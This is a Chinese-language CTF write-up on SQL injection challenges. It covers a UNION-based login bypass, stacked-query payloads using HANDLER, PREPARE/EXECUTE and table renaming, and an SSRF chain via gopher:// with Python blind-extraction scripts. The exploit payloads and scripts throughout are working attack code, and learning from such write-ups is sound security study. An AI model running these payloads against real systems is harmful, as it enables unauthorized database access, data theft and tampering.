SQLI

SQLI

CTF After Dark-Injection Perfection

因为想起来要把这道题收进来的时候网站已经关闭了(悲,所以没法复现题目环境,题目的页面就是一般的登录页面,用户名,密码,提交,题目要求使用admin账户登录。还好赛题部分源码还能下载。这是app.js内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
const express = require('express');
const path = require('path');

const multer = require('multer');
const bodyParser = require('body-parser');

const port = parseInt(process.env.PORT) || 8080;

const sqlite3 = require('sqlite3');
const db = new sqlite3.Database('app.db', sqlite3.OPEN_READONLY);

const app = express();
const upload = multer();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(upload.array());
app.use(express.static('public'));

const getFavColor = async (username) => {
return new Promise((resolve, reject) => {
db.get('SELECT fav_color FROM users WHERE username=?', username, (err, row) => {
if (err) return resolve(err);
return resolve(row.fav_color);
});
});
};

const attemptLogin = (username, password) => {
return new Promise((resolve, reject) => {
db.get(`SELECT username, password FROM users WHERE username='${username}'`, async (err, row) => {
if (err)
return reject(err);
else if (row === undefined)
return reject('Invalid User');
else if (password === row.password)
return resolve(`My favorite color is ${await getFavColor(row.username)}`);
else
return reject('incorrect password');
});
})
};

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'login.html'));
});

app.post('/', async (req, res) => {
const username = req.body.username;
const password = req.body.password;

if (!username || !password)
return res.status(400).send("Invalid Login");

try {
return res.status(200).send(await attemptLogin(username, password));
} catch (err) {
return res.status(400).send(err);
}
});

app.get('*', (req, res) => {
res.status(404).send('not found');
});

app.listen(port, () => {
console.log(`Listening on port ${port}`);
});

本题重点在第29行这个回调函数,从数据库调数据与用户输入进行比对,那就看看这个后端判断登录的逻辑是什么样的吧:

1
2
3
4
5
6
7
8
9
10
db.get(`SELECT username, password FROM users WHERE username='${username}'`, async (err, row) => {
if (err)
return reject(err);
else if (row === undefined)
return reject('Invalid User');
else if (password === row.password)
return resolve(`My favorite color is ${await getFavColor(row.username)}`);
else
return reject('incorrect password');
});

显然如果存在sql注入的话username将会是注入点,可以看出逻辑为:

从数据库的users表查名为用户输入的username的行中的usernamepassword字段,将结果存入row数组中,如果用户输入的password等于数据库查到的row.password,也就是登陆成功,则执行一个getFavColor()方法

getFavColor():

1
2
3
4
5
6
7
8
const getFavColor = async (username) => {
return new Promise((resolve, reject) => {
db.get('SELECT fav_color FROM users WHERE username=?', username, (err, row) => {
if (err) return resolve(err);
return resolve(row.fav_color);
});
});
};

大概users里存着三个字段:username、password、fav_color。getColor()方法是当用户登陆成功后查询登录账户最喜欢的颜色并返回,题目要求使用admin登录,盲猜admin最喜欢的颜色就是flag啦(。

再回到登录验证部分。那么怎么样才能输入用户名”admin”,然后输入密码对应的是”admin”对应的密码呢?一开始陷入了这个思维陷阱没跳出来,实际上,可以这样:

1
2
username:*' UNION SELECT "admin","123"--+
password:123

用户名中的”*”指的是一个数据库中不存在的用户名,空着也行,然后单引号闭合。SELECT “admin” 和 “123”,最后”–+”闭合语句,这样一来整个sql语句的查询结果就变成了

username password
admin 123

那么当用户输入密码为”123”自然就等于row.password了,登陆成功。

为便于理解,我们本地创建一个表user_info,表如下:

本地测试结果如下:

表中不存在”21112”的用户,因此此处无查询结果,联合查询利用select直接返回字符串。如果username填入已有用户,查询结果如下:

当然,要学会善于利用工具(,话不多说,上图

这道题用sqlmap也能直接淦出来。厚礼蟹


BUUCTF-EasySql

先用用户名:1 密码:1’ 测试注入,页面报错,可能存在注入点,并且是字符型。

密码传入***1’ order by 4 #***时报错,判断出数据库有三个字段。

准备爆数据库名,二分法传入***1’ or (ascii(substr(database(),0,1))<128)#***,结果直接拿到了flag。

题后反思:因为传入***1’ or (ascii(substr(database(),0,1))<128)#*导致后端查询语句变成select * from 数据库名 where username = ‘1’ and pasword =’1’ or (ascii(substr(database(),0,1))<128)#’***因为and优先级高于or,于是整个句子变成了两个部分:

select * from 数据库名 where username = ‘1’ and pasword =’1’

or (ascii(substr(database(),0,1))<128)#’

虽然用户名密码判断是错的,但是数据库名的第一个字符的ascii码确实小于128,为真,二者用or相连,返回为true,故登陆成功获取到flag;

但是这样做实际上是走弯路了,这道题布尔盲注不是最优解,实际上直接构造密码为***1’ or 1=1#***在原理上是和上面误打误撞拿到flag是一样的,但是少走了很多弯路。


BUUCTF-easy_sql

先传入1,返回一个字符串,传入1’,报错

可能存在sql注入,并且是字符型的。传入***’ order by 4#***,报错。

传入***’ order by 3#,报错。传入‘ order by 2#***不报错,判断表里有2个字段。

联合查询尝试失败,select被ban。尝试构造无字母数字的语句。编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$var = 's';//依次将s改为e,l,e,c,t
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
if(chr($i^$j)==$var){
echo (urlencode(chr($i))."^".urlencode(chr($j)));
echo "\n";
}
}
}
?>

得到select,尝试能否绕过

1
('%5D'^'.').('H'^'-').('%5D'^'1').('H'^'-').('_'^'%3C').('_'^'%2B')

还是没绕过,暂时放弃这条路。

查找学习show databases爆数据库名。

show tables爆表名,好臭的表名啊(。

‘; show columns from 1919810931114514;#爆字段名(表名要用反引号引起来,typora里不知道为什么吞反引号)

万事俱备,只欠select,直接select不行,去查找能代替select的,果不其然,找到了handler语句。

1
handler [表名] open;#打开表(句柄)
1
2
handler [表名] read first;#从表的第一列开始读(指针的起点)
handler [表名] read next;#指针往后一位,读取数据(参考资料https://blog.csdn.net/JesseYoung/article/details/40785137)

最终构造payload:

1
';handler `1919810931114514` open;handler `1919810931114514` read first;#

拿到flag。

反思:除了上面的方法寻找mysql中的其他查询语句外,看了大佬们的wp后学到了更多的思路和相关知识,这道题还可以通过预编译得到flag。

预编译相关语法:

1
2
3
set : #设置变量;
prepare : #准备一个语句赋予其名称,之后直接调用语句;
execute :#执行语句;

以及一个mysql语句concat(str1,str2),将str1与str2连接起来返回连接后的字符串;或者mysql的hex()函数把语句变成十六进制同样可以绕过select的过滤。

步骤如下:

1
set @abc=concat("selec","t * from `1919810931114514`");#创建一个变量@abc为字符串"select * from `1919810931114514`"
1
prepare sel from @abc;#预备一个语句sel,内容是@abc,也就是"select * from `1919810931114514`"
1
execute sel;#执行sel语句;

构造

1
';set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;

然后提示set被ban了,但是用的是strstr(),区分大小写,所以大写绕过

1
';Set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;

十六进制绕过的步骤如下:

打开mysql命令行输入

1
select hex("select * from `191981096114514`");

得到一串十六进制字符串。

构造预处理语句:

1
set @abc=73656C656374202A2066726F6D206031393139383130393631313435313460;prepare sel from @abc;execute sel;

set同样大写绕过,payload:

1
2
1';Set @abc=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare sel from @abc;execute sel;#
(上面的图里应该是191981093114514打错了,最终结果应该是上面这行代码//到底是谁起的这个名字啊啊啊啊啊)

GET到flag;

另外一种思路,从最开始看到题目的时候就在想直接输入1回显的数组是来自哪里的呢,但是最开始做的时候爆了191981093114514表就没爆words表的字段名了,因为191981093114514表里只有一个元素,所以推测回显内容是words表里的,爆words字段名

1
';show columns from `words`;#

推测回显内容来自于data字段;

思路就是把words表改名为其他的名字,191981093114514改名为words,把其中的flag字段改名为id(或者在xinwords表里增加一列id),最后传入***1’ or 1=1#***使查询结果为true爆出words所有字段内容。

相关语句如下:

1
2
3
4
5
alter table [表名] add [字段名] int(***)/varchar(***) #增加列
alter table [表名] drop [字段名]#删除列
alter table [表名] change [字段名] [新字段名] int(***)/varchar(***)#重命名字段
alter table [表名] rename to [新表名]#重命名表,to可省略
rename table [表名] to [新表名]#重命名表

payload1:

1
1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);##新增一列id

payload2:

1
2
1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(50);#
#修改flag字段名为id

2023ROIS冬令营internal

这是什么,两个超链接,点一下(

​ SQLI页面中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('config.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
highlight_file(__FILE__);
die('Try to access it from internal!');
}
echo "Welcome!\n";
$id = $_POST['id'];
if (preg_match("/union| /i",$id))
die('You bad bad >_<');
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_DATABASE);
$sql = "SELECT * FROM messages WHERE id=$id"; // SQLI >_<
$res = mysqli_query($con, $sql);
$message = mysqli_fetch_array($res)['message'];
echo $message;
#回显Try to access it from internal!

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')用户访问的IP必须是本地IP才能进行下面的数据库操作等步骤,也就是说只有通过网页服务器内网访问。如果我们能够通过这个服务器中的另外一个不限制于内网访问的页面,把它当做跳板间接对这个仅内网访问的页面进行操作,就能进行传参等操作。也就是实现SSRF。先看另外一个页面:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
// Hint: Do you know gopher?
$url = $_POST['url'];
if (preg_match("/file:|ftp:|http:|scp:|dict:/i",$url))
die('You bad bad >_<');
$ch = curl_init($url);
$res = curl_exec($ch);
echo $res;

curl_init()函数初始化一个curl绘会话,值传给$chcurl_exec()函数执行一个curl会话,值传给$res。最后将结果打印出来。既然可以执行curl,那么不就意味着可以通过这个页面对SQLI页面进行传参等操作了吗。给出了提示:"Do you know gopher?"。emmm。。。并不知道。那就学呗。找到了一篇讲的比较详细的文章学习了一下。

gopher是啥?它是一种协议,支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

gopher协议的格式:

1
gopher://<host>:<port>/_后接TCP数据流

需要注意的是,TCP数据流必须是经过url编码的,并且回车和换行必须是%0D%0A,使用脚本或工具编码后回车换行会变成%0A,因此要多一步replace的步骤。在HTTP包的最后要加%0D%0A,代表消息结束(具体可研究HTTP包结束)。以下是通过gopher协议传参的一次示例:

GET请求:

准备好一个监听机和一个用户机:

nc -lp 1234监听1234端口,使用curl发送http请求curl gopher://172.17.0.1:1234/abcd,监听机收到消息为”bcd”;发送请求curl gopher://172.17.0.1:1234/aabcdnc监听到abcd。因此紧跟在"<PORT>/"字符后面的一个字符会被忽略,可换为任意一个字符。

这是一段网页源码,作用是将GET传入的name的值打印出来:

1
2
3
4
<?php
echo "Hello ".$_GET["name"]."\n"
?>
#保存为ssrf.php

这是一个GET请求包

1
2
3
GET /ssrf.php?name=Potatowo HTTP/1.1
Host: 172.17.0.1
#回车

经Python脚本编写,生成对应的请求包

1
2
3
4
5
6
7
8
9
10
11
import urllib.parse
data = \
"""GET /ssrf.php?name=Margin HTTP/1.1
Host: 172.17.0.1
#该行要有回车,HTTP数据包结尾
"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")#此处将"%0A"替换成"%0D%0A"
print(result)
#output
#GET%20/ssrf.php%3Fname%3DMargin%20HTTP/1.1%0D%0AHost%3A%20172.17.0.1%0D%0A

改为构成符合gopher协议的请求后通过curl发出请求:

1
2
curl gopher://172.17.0.1:8080/_GET%20/ssrf.php%3Fname%3DMargin%20HTTP/1.1%0D%0AHost%3A%20172.17.0.1%0D%0A
#注意"8080/"后面紧跟着一个"_"字符。

POST请求:

这是一段网页源码,功能不做过多赘述:

1
2
3
4
<?php
echo "Hello ".$_POST["name"]."\n"
?>
#保存为ssrf.php

这是一个POST请求包:

1
2
3
4
5
6
7
POST /ssrf/base/post.php HTTP/1.1
host:172.17.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Potatowo
#回车

改为构成符合gopher协议的请求后通过curl发出请求:

1
2
curl gopher://172.17.0.1:8080/_POST%20/ssrf/base/post.php%20HTTP/1.1%0D%0Ahost%3A172.17.0.1%0D%0AContent-Type%3Aapplication/x-www-form-urlencoded%0D%0AContent-Length%3A11%0D%0Aname%3DPotatowo%0D%0A%0D%0A
#注意"8080/"后面紧跟着一个"_"字符。

现在回到本题;

既然用得到请求包,那就先bp抓包,对SQLI页面传参,那就抓SQLI页面的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.parse
data = \
"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1#使用脚本时删掉该注释,此处要把原包ip改为改为127.0.0.1
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=1

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
result = result = urllib.parse.quote(result)
#要注意!!如果是希望在浏览器里传参,则要编码两次!!浏览器会自动解码一次,后端解码一次;但是像下面
#要讲的用python的requests库直接传参就只需要编码一次因为不需要经过浏览器解码
print(result)
#output
#POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%25204%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/109.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250Aid%253D1%250D%250A%250D%250A

改为符合gopher协议的形式,注意由于curl_exec()的执行是在服务端里进行的,所以gopher://协议的地址应改为127.0.0.1:80,80端口是跑web服务的端口。

将脚本中的content进行修改,content = "id=1 and 1=1",传入,结果:

emmm。。这时候突然想起来SQLI页面是不是有过滤来着赶紧打开看了眼

1
2
if (preg_match("/union| /i",$id))
die('You bad bad >_<');

看来是ban掉了union和空格。难怪,那改成content = "id=1/**/and/**/1=1"绕过空格过滤,回显"Welcome! meow meow meow~1",改成content = "id=1/**/and/**/1=2",回显"Welcome! 1"。sql语句判断为真会返回"Welcome! meow meow meow~1",为假不含meow meow meow~,同时union被ban了,尝试用加号拼接"uni","on",结果加号url编码与空格相同(悲,现在意图也比较明显了,布尔盲注。

完善脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
import requests
url = "http://192.168.150.1:43083/curl.php"
for i in range(0,126):
content = "id=1 and (length(database())={})#".format(i)
content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过
content_length = len(content)
data = \#切记切记下面字符串每行左边要贴边,不然tab会被编码
f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {content_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{content}

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
payload = "gopher://127.0.0.1:80/_"+result#用python直接传参只需要编码一次
r = requests.post(url,data={"url":payload}).text
#print(r)
if "meow" in r:#如果sql返回为真,页面会显示"meow meow~"
print(i)
break
#output
#3

输出3,得出数据库长度为3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib.parse
import requests
url = "http://192.168.150.1:43083/curl.php"
database = ""
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr(database(),{},1))={})#".format(i,j)#判断数据库名第i个字符的ascii码是否为j,是的话为真会返回"meow"
content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过
content_length = len(content)
data = \
f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {content_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{content}

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
payload = "gopher://127.0.0.1:80/_"+result
r = requests.post(url,data={"url":payload}).text
#print(r)
if "meow" in r:
database += chr(j)
print(database)
break
#output
#r
#ru
#rua
#数据库名为rua

同样,爆表名,因为可能存在多个表,所以使用group_concat()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),{},1))={})#".format(i,j)
...........
#output
#f
#fl
#fla
#flag
#flag,
#flag,m
#flag,me
#flag,mes
#flag,mess
#flag,messa
#flag,messag
#flag,message
#flag,messages

盲猜flag在flag表里,爆字段名:

1
2
3
4
5
6
7
8
9
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'flag'),{},1))={})#".format(i,j)#爆字段名
...........
#output
#f
#fl
#fla
#flag

已知信息:

数据库rua、表flag、字段flag,爆flag内容:

1
2
3
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(flag) from flag),{},1))={})#".format(i,j)#爆flag表内容

拿到flag,本题还可以用二分法优化算法,附上L1ao学长的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import urllib.parse
import requests

def fuck():
url = "http://192.168.150.1:43083/curl.php"
result=""
for i in range(1,1290):
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
sqli = "1/**/and/**/if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='rua'),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((seLect(flag)from(rua.flag)),{},1))>{},1,0)%23".format(i,mid)
id = urllib.parse.quote(sqli)
id_length = len(id)+3
payload = f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {id_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id={id}

"""
# print(payload)
tmp = urllib.parse.quote(payload)
new = tmp.replace("%0A","%0D%0A")
res = 'gopher://127.0.0.1:80/_' + new
dataa = {
"url":res
}
r = requests.post(url=url,data=dataa)
# print(r.text)
if "meow meow meow" in r.text:
head=mid+1
else:
tail=mid
if head !=32:
result+=chr(head)
else:
break
print(result)
fuck()

当然,看到尝试传入递增变化的数据,bp爆破有时候也不失为一种方法(会用工具真的很重要(哭

(感谢LinTu提供的思路)

浏览器发送一次请求,bp抓包。记住python出payload的时候要url编码两次,传到Intruder。

Intruder集束炸弹走起,两个爆破点一个是需判断字符的位置(从1开始),一个是比较的ascii码(从32到126)。开始爆破

异样流量数据包对应Payload2按照Payload1顺序编码成字符,就是对应的flag了,因为bp是多线程,所以也不会很慢。也算提供了一种新思路吧。


作者

Potat0w0

发布于

2023-02-09

更新于

2024-01-19

许可协议


评论